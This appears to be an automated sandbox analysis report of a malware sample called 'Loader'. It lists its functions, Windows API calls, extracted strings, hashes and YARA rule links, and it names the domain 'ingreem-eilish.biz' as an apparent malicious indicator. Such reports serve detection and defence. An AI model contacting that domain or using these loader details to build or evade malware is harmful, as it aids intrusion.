API String ID: 2243422189-2879388440
Opcode ID: 5da1a61b1ac2646240e8ef51aa07ea68389517e308048d9ed602d276010136ed
Instruction ID: 657a4d5abfb12f1dc895d1f067591f20c39952d2f974751b242cefe10b9506bf
Opcode Fuzzy Hash: 5da1a61b1ac2646240e8ef51aa07ea68389517e308048d9ed602d276010136ed
Instruction Fuzzy Hash: 24D1D3606187E08AD7358F3994A07BBBBD1AFA7304F5849AED4C98B382C7394505CB57

Function 00423A2A Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 400
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

stu, xrefs: 00423C2C
AF, xrefs: 00423E7B
EG, xrefs: 00423AAF
IK, xrefs: 00423AB6

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: AF$EG$IK$stu
API String ID: 0-1635301703
Opcode ID: 2eb72137ecd42df3155bdba8500a69820cb5c5c9371d7a7e8082faf064e55606
Instruction ID: 39eb04832eb88fb9aa3c4d3716742c09fe3224a1bca5495eee59028efd12266c
Opcode Fuzzy Hash: 2eb72137ecd42df3155bdba8500a69820cb5c5c9371d7a7e8082faf064e55606
Instruction Fuzzy Hash: 75D168B5E00211DFDB10CF64D882A6BBB71FF46315F1581A9E941AF352E738A901CF99

Function 004085D0 Relevance: 7.7, APIs: 5, Instructions: 170
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004085F4
GetCurrentThreadId.KERNEL32 ref: 004085FE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408713
GetForegroundWindow.USER32 ref: 00408728

Part of subcall function 0040C5C0: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C5D3

Part of subcall function 0040B3C0: FreeLibrary.KERNEL32(004087DE), ref: 0040B3C6
Part of subcall function 0040B3C0: FreeLibrary.KERNEL32 ref: 0040B3E7

ExitProcess.KERNEL32 ref: 004087E5

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: fe482df24c23ab2d83c4cdaab97ad3ceae6a21e14e152c6932b3668e755f558a
Instruction ID: e578a3b207df15b92ed52ca48c6c45aa0500652032070dd10f4452ae5aeaaed9
Opcode Fuzzy Hash: fe482df24c23ab2d83c4cdaab97ad3ceae6a21e14e152c6932b3668e755f558a
Instruction Fuzzy Hash: 39512877F547184BC318AEB98D8636AF6C65BC4210F0E813EA985E73D1EDB89C4542C8

Function 0042DB7A Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042DCA2
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042DD66

Strings

_, xrefs: 0042E13E
uHHs, xrefs: 0042DD73

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: ComputerName
String ID: _$uHHs
API String ID: 3545744682-2879388440
Opcode ID: fff4d2ae5a9090df37eee2bfda5c873a54dc35febac4667e5f7cefb26893c0c6
Instruction ID: 6fef95053ab342754befd2ad3e4f8b718065d38dd91b4b55b8e1a17b79ce2dd8
Opcode Fuzzy Hash: fff4d2ae5a9090df37eee2bfda5c873a54dc35febac4667e5f7cefb26893c0c6
Instruction Fuzzy Hash: E4E127206183E08ED735CB3994917BBBBD1AFA7304F58896ED4D98B382C739850AC757

Function 0040A8C0 Relevance: 6.6, Strings: 5, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xA, xrefs: 0040A9C2
/ , xrefs: 0040AA40
@G, xrefs: 0040A9BA
$>, xrefs: 0040AB44
$>, xrefs: 0040ACED, 0040ACB2, 0040ACBB, 0040AB14

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $>$$>$/ $@G$xA
API String ID: 0-3945432221
Opcode ID: 1f9dd7b07d0464a3871681ac543f7f30e7f289b115bd5a1a199045cae91454cc
Instruction ID: 55ac8b7e195ada22395993ae97bb18e0f83c644d7aeb54a7be5ab8cf0bb5c33f
Opcode Fuzzy Hash: 1f9dd7b07d0464a3871681ac543f7f30e7f289b115bd5a1a199045cae91454cc
Instruction Fuzzy Hash: AFB1167520C3508BD324CF1884906AFBBE2EFC2704F18497DE9D12B381D679995AD78B

Function 00AFF5C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(000000FF,00000000,?,00000002,00000000,00000000,00000000,082962C8,?,?,00AFE8E1,?,00000000,?), ref: 00AFF601
NtProtectVirtualMemory.NTDLL(000000FF,?,00AFE8E1,00000000,00000000,00000000,00000000,082962C8,?,?,00AFE8E1,?,00000000,?), ref: 00AFF703

Strings

, xrefs: 00AFF697

Memory Dump Source

Source File: 00000001.00000002.2711504076.0000000000AFE000.00000040.00000010.00020000.00000000.sdmp, Offset: 00AFE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_afe000_Loader.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-3916222277
Opcode ID: 7c3c623b9836fa83dbdc5394a12b48ed3865b76677a6f9c3d53535781c8631a1
Instruction ID: 8b9e0ee6cff83f9f7740722dbac45e82544ea5c26c6e0d65c522bce420e6308c
Opcode Fuzzy Hash: 7c3c623b9836fa83dbdc5394a12b48ed3865b76677a6f9c3d53535781c8631a1
Instruction Fuzzy Hash: 774115B1D0020DABDB04CFD4C981AFEBBB5EF58310F20855AE915AB291D7389A41DBA0

Function 0040D120 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040D133

Strings

ingreem-eilish.biz, xrefs: 0040D537
D, xrefs: 0040D148

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: Uninitialize
String ID: D$ingreem-eilish.biz
API String ID: 3861434553-1775330692
Opcode ID: c6607468542c65a9894b4d5e932ac42de7adf9d9df50bf63ac7d2a47c1c64f60
Instruction ID: db83cc6d0157fc327276ba6685622738ae1c34c2f9734926ad1cda59646cf540
Opcode Fuzzy Hash: c6607468542c65a9894b4d5e932ac42de7adf9d9df50bf63ac7d2a47c1c64f60
Instruction Fuzzy Hash: 8BA110B55083928FD335CF2584A07EBBBE1AFD6300F0889ADD0D95B392D775490ACB96

Function 0040C63C Relevance: 4.4, Strings: 3, Instructions: 602
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^_, xrefs: 0040CDF5
ingreem-eilish.biz, xrefs: 0040CA49, 0040CE7B
A313BACE34A2B05E25E054D164A37606, xrefs: 0040C6BF, 0040CAEF

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: A313BACE34A2B05E25E054D164A37606$^_$ingreem-eilish.biz
API String ID: 0-2128005225
Opcode ID: 1756b59fe5bbb69c448a25ce81c9b929e652f332c93af6c72070d1cd974e5a62
Instruction ID: dd9baf14083705404bbb6167aa7354d43b480db8533e0b19abc2341ccbf856c6
Opcode Fuzzy Hash: 1756b59fe5bbb69c448a25ce81c9b929e652f332c93af6c72070d1cd974e5a62
Instruction Fuzzy Hash: C1020DB158E3928AD334CF2594907EBBBE1EBD6304F088A6DC4D91B342D7390909DBD6

Function 004272D0 Relevance: 2.9, Strings: 2, Instructions: 413COMMON

Download Yara Rule

Strings

x[EH, xrefs: 00427700
I^]J, xrefs: 004276DA

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: I^]J$x[EH
API String ID: 2994545307-931091327
Opcode ID: 4e1ec0b169b6dcf0a4e6d7fa1cb01984c62396cfd1de7dbf6d19737dd4ec8ffb
Instruction ID: 0d59b06c8e91c5b12f8e4cbbc2a541ab03e5ca24646f09e67a505f6169a2a813
Opcode Fuzzy Hash: 4e1ec0b169b6dcf0a4e6d7fa1cb01984c62396cfd1de7dbf6d19737dd4ec8ffb
Instruction Fuzzy Hash: 34C16772B0C3208FD714DF18E84166BF792EF95314F99866EE8859B352E638EC05C396

Function 00AFF080 Relevance: 1.7, APIs: 1, Instructions: 162memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,?,00003000,00000004,00000000,00000000,6793C34C), ref: 00AFF102

Memory Dump Source

Source File: 00000001.00000002.2711504076.0000000000AFE000.00000040.00000010.00020000.00000000.sdmp, Offset: 00AFE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_afe000_Loader.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 0bfa60c63f50ef171a0b56c2a5d9744cc2ad877c89f3882ce56d9e2bbd017102
Instruction ID: e6728fc90bb704eec32cc890a68a7c39b3f85d1edc196c62c10a355cb1e7e1a2
Opcode Fuzzy Hash: 0bfa60c63f50ef171a0b56c2a5d9744cc2ad877c89f3882ce56d9e2bbd017102
Instruction Fuzzy Hash: 86612B74E00219AFDB04DFD4C981BFEB7B5EF48710F108669FA11AB291D7749A81CB64

Function 0041729C Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaf5d9c8caaa7c5158d2595a28ce29fc5bd8e40705b8776bee6581b76162ea9
Instruction ID: d8ae4f8807f609b1a5a26eceed683d5d1279bcb46be8d1f2b9ff2bc753f575a8
Opcode Fuzzy Hash: dbaf5d9c8caaa7c5158d2595a28ce29fc5bd8e40705b8776bee6581b76162ea9
Instruction Fuzzy Hash: 3C51B2B1A0C2429FD718CF14C4916AFBBE1AB95304F158D2EE49A87342E734D989CB96

Function 0043F5E0 Relevance: 1.6, Strings: 1, Instructions: 372COMMON

Download Yara Rule

Strings

, xrefs: 0043F810

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-3019521637
Opcode ID: 69a25194109935b678ce6e24f6a27be231c29ec83bfc9dcd4c79a5b98e90c7f3
Instruction ID: 6aed45fb233aa2c4fcd704149bf514c963fdf9759b22d2805e031f74d6e47680
Opcode Fuzzy Hash: 69a25194109935b678ce6e24f6a27be231c29ec83bfc9dcd4c79a5b98e90c7f3
Instruction Fuzzy Hash: 4FA11632A183115FC718DF28C89166BB7E2EB99314F19983EE8D5C7351D639EC0A8786

Function 0043C330 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043E40B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C35E

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043EB50 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

@, xrefs: 0043EBB8

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: b9638b10435d8128a6d4a9257ea43f928eefba0deeac915a18477b2125f410db
Instruction ID: c497bc3c17aefed4a2b0ec07c899be2d1253584fb416e3315b0134f03c6467ad
Opcode Fuzzy Hash: b9638b10435d8128a6d4a9257ea43f928eefba0deeac915a18477b2125f410db
Instruction Fuzzy Hash: 5A3102721083009FC314DF58D8C166BB7F5FB8A314F19982DEA85873A1D339A918CB6A

Function 004377E0 Relevance: .3, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 683baccd8ea49aeca77622ebd9cee491a35b602b586a224dcb7b6e790cf689e6
Instruction ID: 427a9e54cac6336696faaf529140800e8bf9d5987ddbf87919c8dba67af658cf
Opcode Fuzzy Hash: 683baccd8ea49aeca77622ebd9cee491a35b602b586a224dcb7b6e790cf689e6
Instruction Fuzzy Hash: 50C13B72E086548FD724DB7C88553AEBBE25B8E330F19836ED8E5A73D1D6388D018785

Function 0043EC80 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1be28d49087dfa68073e8d39aa268690e29c9ae18c9411ebac5a15625f431aeb
Instruction ID: 3592bb19b75c41b3fd134f61096da3bbee44f5b25fdbf35eb0b3c98660bcbcf4
Opcode Fuzzy Hash: 1be28d49087dfa68073e8d39aa268690e29c9ae18c9411ebac5a15625f431aeb
Instruction Fuzzy Hash: 25815932A053159FC720EF19C841A6BB3A2FFD9710F1A942DE8845B3A5EB34AC51C786

Function 0043A970 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1c92b4fed86105a2f852c97e54f380d11548d7efa8480145cf468c512cf6308a
Instruction ID: 1c1b3194b7e558cfa000f4a90320cca645637f0b325fb066fb166247f68e3773
Opcode Fuzzy Hash: 1c92b4fed86105a2f852c97e54f380d11548d7efa8480145cf468c512cf6308a
Instruction Fuzzy Hash: 9F519D36A482108FDB18DF14D850A3BF392EB89314F1AD86ED5C2E7351D6386C21CB8B

Function 0043E840 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 945b97ecedb280497bdbdce8cc29cb5d54ac0797ef187a8a1d21991aa100e093
Instruction ID: 4d7dcfee1db6f6d48993414e542c2c95e5bcdc0dd52ea84200f971aeb3cabb85
Opcode Fuzzy Hash: 945b97ecedb280497bdbdce8cc29cb5d54ac0797ef187a8a1d21991aa100e093
Instruction Fuzzy Hash: A04137766153005FE314EB26DC80B67B3A6FFC9314F1A982DE584973A0E635EC11978A

Function 0043CA12 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3450e27d7a76b55cd00648270dc7d67fb1e8b4cd8b6210618ef28392449a0fa8
Instruction ID: 9bab5eeda3f2c328a6bc7135d099a7f1260cbe33dc8c8fee6861cc27dc7a273f
Opcode Fuzzy Hash: 3450e27d7a76b55cd00648270dc7d67fb1e8b4cd8b6210618ef28392449a0fa8
Instruction Fuzzy Hash: 1C21E935B441198BDB04DB14C8C1ABFB332BB9E714F28B129C85237352D3399D129B98

Function 011CC600 Relevance: 4.7, APIs: 3, Instructions: 197
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 011CC7B5

Part of subcall function 011CA888: HeapAlloc.KERNEL32(00000000,011C99B7,011CB787,?,011C99B7,00000220,?,?,011CB787), ref: 011CA8BA

__freea.LIBCMT ref: 011CC7C8
__freea.LIBCMT ref: 011CC7D5

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: eb040b4ee398c46ae6fc713839e1b14fd8b68504cb03242577cd215a053805d1
Instruction ID: 5139a72cbbc7ec1f7b3eeba25898b1a9ddde84eb644bcf39b2b335181260b50f
Opcode Fuzzy Hash: eb040b4ee398c46ae6fc713839e1b14fd8b68504cb03242577cd215a053805d1
Instruction Fuzzy Hash: 3651A372600617AFEB299E68DC81FBB7AA9EF64E14F15012DFD08D6140EB34DC21C6A1

Function 011C9BB3 Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 011C96EA: GetOEMCP.KERNEL32(00000000,?,?,?,011CB787), ref: 011C9715

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,011C99FA,?,00000000,?,?,011CB787), ref: 011C9C14
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,011C99FA,?,00000000,?,?,011CB787), ref: 011C9C50

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: c277c37071218c0a5b063d85f32a6031261e1d59d62a5136e868c027436738fc
Instruction ID: 72b4e8b1dbe62080afb29a8a25926d17f17421c157a9636887050ac71a025f09
Opcode Fuzzy Hash: c277c37071218c0a5b063d85f32a6031261e1d59d62a5136e868c027436738fc
Instruction Fuzzy Hash: 4E513870A003499EDB29CF39C4406FEBBF5EFA1B0CF18406EC1969B291DB799545CB50

Function 011CB0ED Relevance: 3.0, APIs: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringEx.KERNELBASE(?,011CC6F0,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 011CB121
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,-00000008,-00000008,?,011CC6F0,?,?,-00000008,?,00000000), ref: 011CB13F

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 89ff164a05d8ec91a857a90de6c7580a3ae0506ad3f60a9942102410616ba727
Instruction ID: d8cf0da1d476c18d7e468a513fabf759b9525ee2be021159bd1889b55d58388d
Opcode Fuzzy Hash: 89ff164a05d8ec91a857a90de6c7580a3ae0506ad3f60a9942102410616ba727
Instruction Fuzzy Hash: 24F07A3250515ABBCF166F90EC05DDE3F66EF687A5F054014FA1865020D736C871AB95

Function 0043C5AF Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043C5AF
GetForegroundWindow.USER32 ref: 0043C5C0

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

